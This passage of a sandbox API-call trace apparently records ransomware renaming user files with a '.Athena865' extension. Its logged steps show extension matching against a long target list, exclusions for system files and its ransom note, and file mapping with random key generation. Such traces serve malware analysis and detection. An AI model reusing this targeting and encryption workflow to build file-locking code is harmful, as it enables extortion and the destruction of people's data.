(lpString1=".ini", lpString2="itdb") returned -1 [0101.627] lstrlenW (lpString="itw") returned 3 [0101.627] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0101.627] lstrlenW (lpString="jet") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0101.628] lstrlenW (lpString="jtx") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0101.628] lstrlenW (lpString="kdb") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0101.628] lstrlenW (lpString="kexi") returned 4 [0101.628] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0101.628] lstrlenW (lpString="kexic") returned 5 [0101.628] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0101.628] lstrlenW (lpString="kexis") returned 5 [0101.628] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0101.628] lstrlenW (lpString="lgc") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0101.628] lstrlenW (lpString="lwx") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0101.628] lstrlenW (lpString="maf") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0101.628] lstrlenW (lpString="maq") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0101.628] lstrlenW (lpString="mar") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0101.628] lstrlenW (lpString="marshal") returned 7 [0101.628] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0101.628] lstrlenW (lpString="mas") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0101.628] lstrlenW (lpString="mav") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0101.628] lstrlenW (lpString="maw") returned 3 [0101.628] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0101.628] lstrlenW (lpString="mdbhtml") returned 7 [0101.628] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0101.628] lstrlenW (lpString="mdn") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0101.629] lstrlenW (lpString="mdt") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0101.629] lstrlenW (lpString="mfd") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0101.629] lstrlenW (lpString="mpd") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0101.629] lstrlenW (lpString="mrg") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0101.629] lstrlenW (lpString="mud") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0101.629] lstrlenW (lpString="mwb") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0101.629] lstrlenW (lpString="myd") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0101.629] lstrlenW (lpString="ndf") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0101.629] lstrlenW (lpString="nnt") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0101.629] lstrlenW (lpString="nrmlib") returned 6 [0101.629] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0101.629] lstrlenW (lpString="ns2") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0101.629] lstrlenW (lpString="ns3") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0101.629] lstrlenW (lpString="ns4") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0101.629] lstrlenW (lpString="nsf") returned 3 [0101.629] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0101.629] lstrlenW (lpString="nv") returned 2 [0101.629] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0101.629] lstrlenW (lpString="nv2") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0101.630] lstrlenW (lpString="nwdb") returned 4 [0101.630] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0101.630] lstrlenW (lpString="nyf") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0101.630] lstrlenW (lpString="odb") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0101.630] lstrlenW (lpString="odb") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0101.630] lstrlenW (lpString="oqy") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0101.630] lstrlenW (lpString="ora") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0101.630] lstrlenW (lpString="orx") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0101.630] lstrlenW (lpString="owc") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0101.630] lstrlenW (lpString="p96") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0101.630] lstrlenW (lpString="p97") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0101.630] lstrlenW (lpString="pan") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0101.630] lstrlenW (lpString="pdb") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0101.630] lstrlenW (lpString="pdm") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0101.630] lstrlenW (lpString="pnz") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0101.630] lstrlenW (lpString="qry") returned 3 [0101.630] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0101.630] lstrlenW (lpString="qvd") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0101.631] lstrlenW (lpString="rbf") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0101.631] lstrlenW (lpString="rctd") returned 4 [0101.631] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0101.631] lstrlenW (lpString="rod") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0101.631] lstrlenW (lpString="rodx") returned 4 [0101.631] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0101.631] lstrlenW (lpString="rpd") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0101.631] lstrlenW (lpString="rsd") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0101.631] lstrlenW (lpString="sas7bdat") returned 8 [0101.631] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0101.631] lstrlenW (lpString="sbf") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0101.631] lstrlenW (lpString="scx") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0101.631] lstrlenW (lpString="sdb") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0101.631] lstrlenW (lpString="sdc") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0101.631] lstrlenW (lpString="sdf") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0101.631] lstrlenW (lpString="sis") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0101.631] lstrlenW (lpString="spq") returned 3 [0101.631] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0101.631] lstrlenW (lpString="te") returned 2 [0101.631] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0101.632] lstrlenW (lpString="teacher") returned 7 [0101.632] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0101.632] lstrlenW (lpString="tmd") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0101.632] lstrlenW (lpString="tps") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0101.632] lstrlenW (lpString="trc") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0101.632] lstrlenW (lpString="trc") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0101.632] lstrlenW (lpString="trm") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0101.632] lstrlenW (lpString="udb") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0101.632] lstrlenW (lpString="udl") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0101.632] lstrlenW (lpString="usr") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0101.632] lstrlenW (lpString="v12") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0101.632] lstrlenW (lpString="vis") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0101.632] lstrlenW (lpString="vpd") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0101.632] lstrlenW (lpString="vvv") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0101.632] lstrlenW (lpString="wdb") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0101.632] lstrlenW (lpString="wmdb") returned 4 [0101.632] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0101.632] lstrlenW (lpString="wrk") returned 3 [0101.632] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0101.633] lstrlenW (lpString="xdb") returned 3 [0101.633] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0101.633] lstrlenW (lpString="xld") returned 3 [0101.633] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0101.633] lstrlenW (lpString="xmlff") returned 5 [0101.633] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0101.633] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.Athena865") returned 88 [0101.633] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0101.635] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.637] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=216) returned 1 [0101.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.637] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.638] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.638] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.638] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x154 [0101.640] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0101.641] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.641] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.641] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.642] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.643] CloseHandle (hObject=0x154) returned 1 [0101.643] CloseHandle (hObject=0x17c) returned 1 [0101.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.643] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2=".") returned 1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="..") returned 1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="windows") returned -1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="bootmgr") returned 1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="temp") returned -1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="pagefile.sys") returned -1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="boot") returned 1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="ids.txt") returned -1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="ntuser.dat") returned -1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="perflogs") returned -1 [0101.643] lstrcmpiW (lpString1="Favorites.vss", lpString2="MSBuild") returned -1 [0101.643] lstrlenW (lpString="Favorites.vss") returned 13 [0101.643] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Favorites.vss" | out: lpString1="Favorites.vss") returned="Favorites.vss" [0101.643] lstrlenW (lpString="Favorites.vss") returned 13 [0101.643] lstrlenW (lpString="Athena865") returned 9 [0101.644] lstrcmpiW (lpString1="rites.vss", lpString2="Athena865") returned 1 [0101.644] lstrlenW (lpString=".dll") returned 4 [0101.644] lstrcmpiW (lpString1="Favorites.vss", lpString2=".dll") returned 1 [0101.644] lstrlenW (lpString=".lnk") returned 4 [0101.644] lstrcmpiW (lpString1="Favorites.vss", lpString2=".lnk") returned 1 [0101.644] lstrlenW (lpString=".ini") returned 4 [0101.644] lstrcmpiW (lpString1="Favorites.vss", lpString2=".ini") returned 1 [0101.644] lstrlenW (lpString=".sys") returned 4 [0101.644] lstrcmpiW (lpString1="Favorites.vss", lpString2=".sys") returned 1 [0101.644] lstrlenW (lpString="Favorites.vss") returned 13 [0101.644] lstrlenW (lpString="bak") returned 3 [0101.644] lstrcmpiW (lpString1="vss", lpString2="bak") returned 1 [0101.644] lstrlenW (lpString="ba_") returned 3 [0101.644] lstrcmpiW (lpString1="vss", lpString2="ba_") returned 1 [0101.644] lstrlenW (lpString="dbb") returned 3 [0101.644] lstrcmpiW (lpString1="vss", lpString2="dbb") returned 1 [0101.644] lstrlenW (lpString="vmdk") returned 4 [0101.644] lstrcmpiW (lpString1=".vss", lpString2="vmdk") returned -1 [0101.644] lstrlenW (lpString="rar") returned 3 [0101.644] lstrcmpiW (lpString1="vss", lpString2="rar") returned 1 [0101.644] lstrlenW (lpString="zip") returned 3 [0101.644] lstrcmpiW (lpString1="vss", lpString2="zip") returned -1 [0101.644] lstrlenW (lpString="tgz") returned 3 [0101.644] lstrcmpiW (lpString1="vss", lpString2="tgz") returned 1 [0101.644] lstrlenW (lpString="vbox") returned 4 [0101.644] lstrcmpiW (lpString1=".vss", lpString2="vbox") returned -1 [0101.644] lstrlenW (lpString="vdi") returned 3 [0101.644] lstrcmpiW (lpString1="vss", lpString2="vdi") returned 1 [0101.644] lstrlenW (lpString="vhd") returned 3 [0101.644] lstrcmpiW (lpString1="vss", lpString2="vhd") returned 1 [0101.644] lstrlenW (lpString="vhdx") returned 4 [0101.644] lstrcmpiW (lpString1=".vss", lpString2="vhdx") returned -1 [0101.645] lstrlenW (lpString="avhd") returned 4 [0101.645] lstrcmpiW (lpString1=".vss", lpString2="avhd") returned -1 [0101.645] lstrlenW (lpString="db") returned 2 [0101.645] lstrcmpiW (lpString1="ss", lpString2="db") returned 1 [0101.645] lstrlenW (lpString="db2") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="db2") returned 1 [0101.645] lstrlenW (lpString="db3") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="db3") returned 1 [0101.645] lstrlenW (lpString="dbf") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="dbf") returned 1 [0101.645] lstrlenW (lpString="mdf") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="mdf") returned 1 [0101.645] lstrlenW (lpString="mdb") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="mdb") returned 1 [0101.645] lstrlenW (lpString="sql") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="sql") returned 1 [0101.645] lstrlenW (lpString="sqlite") returned 6 [0101.645] lstrcmpiW (lpString1="es.vss", lpString2="sqlite") returned -1 [0101.645] lstrlenW (lpString="sqlite3") returned 7 [0101.645] lstrcmpiW (lpString1="tes.vss", lpString2="sqlite3") returned 1 [0101.645] lstrlenW (lpString="sqlitedb") returned 8 [0101.645] lstrcmpiW (lpString1="ites.vss", lpString2="sqlitedb") returned -1 [0101.645] lstrlenW (lpString="xml") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="xml") returned -1 [0101.645] lstrlenW (lpString="$er") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="$er") returned 1 [0101.645] lstrlenW (lpString="4dd") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="4dd") returned 1 [0101.645] lstrlenW (lpString="4dl") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="4dl") returned 1 [0101.645] lstrlenW (lpString="^^^") returned 3 [0101.645] lstrcmpiW (lpString1="vss", lpString2="^^^") returned 1 [0101.645] lstrlenW (lpString="abs") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="abs") returned 1 [0101.646] lstrlenW (lpString="abx") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="abx") returned 1 [0101.646] lstrlenW (lpString="accdb") returned 5 [0101.646] lstrcmpiW (lpString1="s.vss", lpString2="accdb") returned 1 [0101.646] lstrlenW (lpString="accdc") returned 5 [0101.646] lstrcmpiW (lpString1="s.vss", lpString2="accdc") returned 1 [0101.646] lstrlenW (lpString="accde") returned 5 [0101.646] lstrcmpiW (lpString1="s.vss", lpString2="accde") returned 1 [0101.646] lstrlenW (lpString="accdr") returned 5 [0101.646] lstrcmpiW (lpString1="s.vss", lpString2="accdr") returned 1 [0101.646] lstrlenW (lpString="accdt") returned 5 [0101.646] lstrcmpiW (lpString1="s.vss", lpString2="accdt") returned 1 [0101.646] lstrlenW (lpString="accdw") returned 5 [0101.646] lstrcmpiW (lpString1="s.vss", lpString2="accdw") returned 1 [0101.646] lstrlenW (lpString="accft") returned 5 [0101.646] lstrcmpiW (lpString1="s.vss", lpString2="accft") returned 1 [0101.646] lstrlenW (lpString="adb") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="adb") returned 1 [0101.646] lstrlenW (lpString="adb") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="adb") returned 1 [0101.646] lstrlenW (lpString="ade") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="ade") returned 1 [0101.646] lstrlenW (lpString="adf") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="adf") returned 1 [0101.646] lstrlenW (lpString="adn") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="adn") returned 1 [0101.646] lstrlenW (lpString="adp") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="adp") returned 1 [0101.646] lstrlenW (lpString="alf") returned 3 [0101.646] lstrcmpiW (lpString1="vss", lpString2="alf") returned 1 [0101.647] lstrlenW (lpString="ask") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="ask") returned 1 [0101.647] lstrlenW (lpString="btr") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="btr") returned 1 [0101.647] lstrlenW (lpString="cat") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="cat") returned 1 [0101.647] lstrlenW (lpString="cdb") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="cdb") returned 1 [0101.647] lstrlenW (lpString="ckp") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="ckp") returned 1 [0101.647] lstrlenW (lpString="cma") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="cma") returned 1 [0101.647] lstrlenW (lpString="cpd") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="cpd") returned 1 [0101.647] lstrlenW (lpString="dacpac") returned 6 [0101.647] lstrcmpiW (lpString1="es.vss", lpString2="dacpac") returned 1 [0101.647] lstrlenW (lpString="dad") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="dad") returned 1 [0101.647] lstrlenW (lpString="dadiagrams") returned 10 [0101.647] lstrcmpiW (lpString1="orites.vss", lpString2="dadiagrams") returned 1 [0101.647] lstrlenW (lpString="daschema") returned 8 [0101.647] lstrcmpiW (lpString1="ites.vss", lpString2="daschema") returned 1 [0101.647] lstrlenW (lpString="db-journal") returned 10 [0101.647] lstrcmpiW (lpString1="orites.vss", lpString2="db-journal") returned 1 [0101.647] lstrlenW (lpString="db-shm") returned 6 [0101.647] lstrcmpiW (lpString1="es.vss", lpString2="db-shm") returned 1 [0101.647] lstrlenW (lpString="db-wal") returned 6 [0101.647] lstrcmpiW (lpString1="es.vss", lpString2="db-wal") returned 1 [0101.647] lstrlenW (lpString="dbc") returned 3 [0101.647] lstrcmpiW (lpString1="vss", lpString2="dbc") returned 1 [0101.647] lstrlenW (lpString="dbs") returned 3 [0101.648] lstrcmpiW (lpString1="vss", lpString2="dbs") returned 1 [0101.648] lstrlenW (lpString="dbt") returned 3 [0101.648] lstrcmpiW (lpString1="vss", lpString2="dbt") returned 1 [0101.648] lstrlenW (lpString="dbv") returned 3 [0101.648] lstrcmpiW (lpString1="vss", lpString2="dbv") returned 1 [0101.648] lstrlenW (lpString="dbx") returned 3 [0101.648] lstrcmpiW (lpString1="vss", lpString2="dbx") returned 1 [0101.648] lstrlenW (lpString="dcb") returned 3 [0101.648] lstrcmpiW (lpString1="vss", lpString2="dcb") returned 1 [0101.648] lstrcmpiW (lpString1="vss", lpString2="dct") returned 1 [0101.648] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.Athena865") returned 90 [0101.648] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.athena865"), dwFlags=0x1) returned 1 [0101.649] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.649] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=0) returned 1 [0101.649] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.athena865"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwFlags=0x1) returned 0 [0101.649] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0101.650] CloseHandle (hObject=0x0) returned 0 [0101.650] CloseHandle (hObject=0x17c) returned 1 [0101.650] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5dc8980, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5dc8980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.650] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.650] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.650] lstrcmpiW (lpString1="_private", lpString2=".") returned 1 [0101.650] lstrcmpiW (lpString1="_private", 